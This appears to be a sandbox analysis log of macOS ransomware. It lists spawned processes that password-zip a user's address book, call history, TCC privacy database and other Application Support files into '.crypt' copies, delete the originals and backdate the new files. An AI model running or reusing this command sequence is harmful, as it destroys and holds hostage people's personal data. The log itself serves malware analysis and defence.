- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2"
  2⤵
  PID:950
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2"
  2⤵
  PID:951
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2"
  2⤵
  PID:951
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteVolumes.sfl2.crypt"
  2⤵
  PID:952
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2"
  2⤵
  PID:953
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2"
  2⤵
  PID:954
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2"
  2⤵
  PID:954
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.FavoriteItems.sfl2.crypt"
  2⤵
  PID:955
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2.crypt" "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"
  2⤵
  PID:956
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"
  2⤵
  PID:957
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2"
  2⤵
  PID:957
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.sharedfilelist/com.apple.LSSharedFileList.RecentApplications.sfl2.crypt"
  2⤵
  PID:958
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge.crypt" "/Users//run/Library/Application Support/Knowledge"
  2⤵
  PID:959
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Knowledge"
  2⤵
  PID:960
- /bin/rm
  rm "/Users//run/Library/Application Support/Knowledge"
  2⤵
  PID:960
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge/knowledgeC.db.crypt" "/Users//run/Library/Application Support/Knowledge/knowledgeC.db"
  2⤵
  PID:961
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db"
  2⤵
  PID:962
- /bin/rm
  rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db"
  2⤵
  PID:962
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Knowledge/knowledgeC.db.crypt"
  2⤵
  PID:963
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm.crypt" "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm"
  2⤵
  PID:964
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm"
  2⤵
  PID:965
- /bin/rm
  rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm"
  2⤵
  PID:965
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-shm.crypt"
  2⤵
  PID:966
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal.crypt" "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal"
  2⤵
  PID:967
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal"
  2⤵
  PID:968
- /bin/rm
  rm "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal"
  2⤵
  PID:968
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/Knowledge/knowledgeC.db-wal.crypt"
  2⤵
  PID:969
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/icdd.crypt" "/Users//run/Library/Application Support/icdd"
  2⤵
  PID:970
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/icdd"
  2⤵
  PID:971
- /bin/rm
  rm "/Users//run/Library/Application Support/icdd"
  2⤵
  PID:971
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist.crypt" "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist"
  2⤵
  PID:972
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist"
  2⤵
  PID:973
- /bin/rm
  rm "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist"
  2⤵
  PID:973
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/icdd/deviceInfoCache.plist.crypt"
  2⤵
  PID:974
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.TCC.crypt" "/Users//run/Library/Application Support/com.apple.TCC"
  2⤵
  PID:975
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.TCC"
  2⤵
  PID:976
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.TCC"
  2⤵
  PID:976
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.TCC/TCC.db.crypt" "/Users//run/Library/Application Support/com.apple.TCC/TCC.db"
  2⤵
  PID:977
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.TCC/TCC.db"
  2⤵
  PID:978
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.TCC/TCC.db"
  2⤵
  PID:978
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.TCC/TCC.db.crypt"
  2⤵
  PID:979
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache.crypt" "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache"
  2⤵
  PID:980
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache"
  2⤵
  PID:981
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.TCC/AdhocSignatureCache"
  2⤵
  PID:981
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ContextStoreAgent.crypt" "/Users//run/Library/Application Support/com.apple.ContextStoreAgent"
  2⤵
  PID:982
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent"
  2⤵
  PID:983
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent"
  2⤵
  PID:983
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled.crypt" "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled"
  2⤵
  PID:984
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled"
  2⤵
  PID:985
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled"
  2⤵
  PID:985
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.ContextStoreAgent/screenTimeEnabled.crypt"
  2⤵
  PID:986
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider.crypt" "/Users//run/Library/Application Support/FileProvider"
  2⤵
  PID:987
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider"
  2⤵
  PID:988
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider"
  2⤵
  PID:988
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated.crypt" "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated"
  2⤵
  PID:989
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated"
  2⤵
  PID:990
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated"
  2⤵
  PID:990
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/LegacyEnabledStateHasBeenMigrated.crypt"
  2⤵
  PID:991
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider"
  2⤵
  PID:992
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider"
  2⤵
  PID:993
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider"
  2⤵
  PID:993
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier"
  2⤵
  PID:994
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier"
  2⤵
  PID:995
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier"
  2⤵
  PID:995
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth"
  2⤵
  PID:996
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth"
  2⤵
  PID:997
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth"
  2⤵
  PID:997
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/NSFileProviderDomainDefaultIdentifier/needs-auth.crypt"
  2⤵
  PID:998
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist"
  2⤵
  PID:999
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist"
  2⤵
  PID:1000
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist"
  2⤵
  PID:1000
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Domains.plist.crypt"
  2⤵
  PID:1001
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist.crypt" "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist"
  2⤵
  PID:1002
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist"
  2⤵
  PID:1003
- /bin/rm
  rm "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist"
  2⤵
  PID:1003
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/FileProvider/com.apple.CloudDocs.MobileDocumentsFileProvider/Provider.plist.crypt"
  2⤵
  PID:1004
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook.crypt" "/Users//run/Library/Application Support/AddressBook"
  2⤵
  PID:1005
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook"
  2⤵
  PID:1006
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook"
  2⤵
  PID:1006
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb.crypt" "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb"
  2⤵
  PID:1007
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb"
  2⤵
  PID:1008
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb"
  2⤵
  PID:1008
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb.crypt"
  2⤵
  PID:1009
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb.crypt" "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb"
  2⤵
  PID:1010
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb"
  2⤵
  PID:1011
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb"
  2⤵
  PID:1011
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb.crypt"
  2⤵
  PID:1012
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm.crypt" "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm"
  2⤵
  PID:1013
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm"
  2⤵
  PID:1014
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm"
  2⤵
  PID:1014
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-shm.crypt"
  2⤵
  PID:1015
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm.crypt" "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm"
  2⤵
  PID:1016
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm"
  2⤵
  PID:1017
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm"
  2⤵
  PID:1017
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-shm.crypt"
  2⤵
  PID:1018
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal.crypt" "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal"
  2⤵
  PID:1019
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal"
  2⤵
  PID:1020
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal"
  2⤵
  PID:1020
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/ABAssistantChangelog.aclcddb-wal.crypt"
  2⤵
  PID:1021
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal.crypt" "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal"
  2⤵
  PID:1022
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal"
  2⤵
  PID:1023
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal"
  2⤵
  PID:1023
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/AddressBook-v22.abcddb-wal.crypt"
  2⤵
  PID:1024
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT.crypt" "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT"
  2⤵
  PID:1025
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT"
  2⤵
  PID:1026
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT"
  2⤵
  PID:1026
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA.crypt" "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:1027
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:1028
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/.AddressBook-v22_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:1028
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata"
  2⤵
  PID:1029
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata"
  2⤵
  PID:1030
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata"
  2⤵
  PID:1030
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp"
  2⤵
  PID:1031
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp"
  2⤵
  PID:1032
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp"
  2⤵
  PID:1032
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/DB5F0C90-2A02-48E4-99DF-5C0022F537C9:ABPerson.abcdp.crypt"
  2⤵
  PID:1033
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp"
  2⤵
  PID:1034
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp"
  2⤵
  PID:1035
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp"
  2⤵
  PID:1035
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/97D3487E-86A1-49A5-BC1D-9B4DB5FBD61A:ABPerson.abcdp.crypt"
  2⤵
  PID:1036
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi"
  2⤵
  PID:1037
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi"
  2⤵
  PID:1038
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi"
  2⤵
  PID:1038
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/BDEA6128-81FE-47E9-B1EA-FCF5B341205A:ABInfo.abcdi.crypt"
  2⤵
  PID:1039
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/AddressBook/Metadata/.info.crypt" "/Users//run/Library/Application Support/AddressBook/Metadata/.info"
  2⤵
  PID:1040
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/.info"
  2⤵
  PID:1041
- /bin/rm
  rm "/Users//run/Library/Application Support/AddressBook/Metadata/.info"
  2⤵
  PID:1041
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/AddressBook/Metadata/.info.crypt"
  2⤵
  PID:1042
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant"
  2⤵
  PID:1043
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant"
  2⤵
  PID:1044
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant"
  2⤵
  PID:1044
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal"
  2⤵
  PID:1045
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal"
  2⤵
  PID:1046
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal"
  2⤵
  PID:1046
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-wal.crypt"
  2⤵
  PID:1047
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite"
  2⤵
  PID:1048
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite"
  2⤵
  PID:1049
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite"
  2⤵
  PID:1049
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite.crypt"
  2⤵
  PID:1050
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm.crypt" "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm"
  2⤵
  PID:1051
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm"
  2⤵
  PID:1052
- /bin/rm
  rm "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm"
  2⤵
  PID:1052
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/com.apple.appleseed.FeedbackAssistant/feedback.sqlite-shm.crypt"
  2⤵
  PID:1053
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/transparencyd.crypt" "/Users//run/Library/Application Support/transparencyd"
  2⤵
  PID:1054
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/transparencyd"
  2⤵
  PID:1055
- /bin/rm
  rm "/Users//run/Library/Application Support/transparencyd"
  2⤵
  PID:1055
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryDB.crypt" "/Users//run/Library/Application Support/CallHistoryDB"
  2⤵
  PID:1056
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB"
  2⤵
  PID:1057
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB"
  2⤵
  PID:1057
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-shm.crypt" "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-shm"
  2⤵
  PID:1058
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-shm"
  2⤵
  PID:1059
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-shm"
  2⤵
  PID:1059
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-shm.crypt"
  2⤵
  PID:1060
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryDB/com.apple.callhistory.databaseInfo.plist.crypt" "/Users//run/Library/Application Support/CallHistoryDB/com.apple.callhistory.databaseInfo.plist"
  2⤵
  PID:1061
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/com.apple.callhistory.databaseInfo.plist"
  2⤵
  PID:1062
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/com.apple.callhistory.databaseInfo.plist"
  2⤵
  PID:1062
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CallHistoryDB/com.apple.callhistory.databaseInfo.plist.crypt"
  2⤵
  PID:1063
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-wal.crypt" "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-wal"
  2⤵
  PID:1064
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-wal"
  2⤵
  PID:1065
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-wal"
  2⤵
  PID:1065
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata-wal.crypt"
  2⤵
  PID:1066
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata.crypt" "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata"
  2⤵
  PID:1067
- /usr/bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata"
  2⤵
  PID:1068
- /bin/rm
  rm "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata"
  2⤵
  PID:1068
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Library/Application Support/CallHistoryDB/CallHistory.storedata.crypt"
  2⤵
  PID:1069
- /usr/bin/zip
  zip -0 -P 0cH8GmkVni3nn7LyMZgV1npIL "/Users//run/Library/Application Support/syncdefaultsd.crypt" "/Users//run/Library/Application Support/syncdefaultsd"
  2⤵
  PID:1070
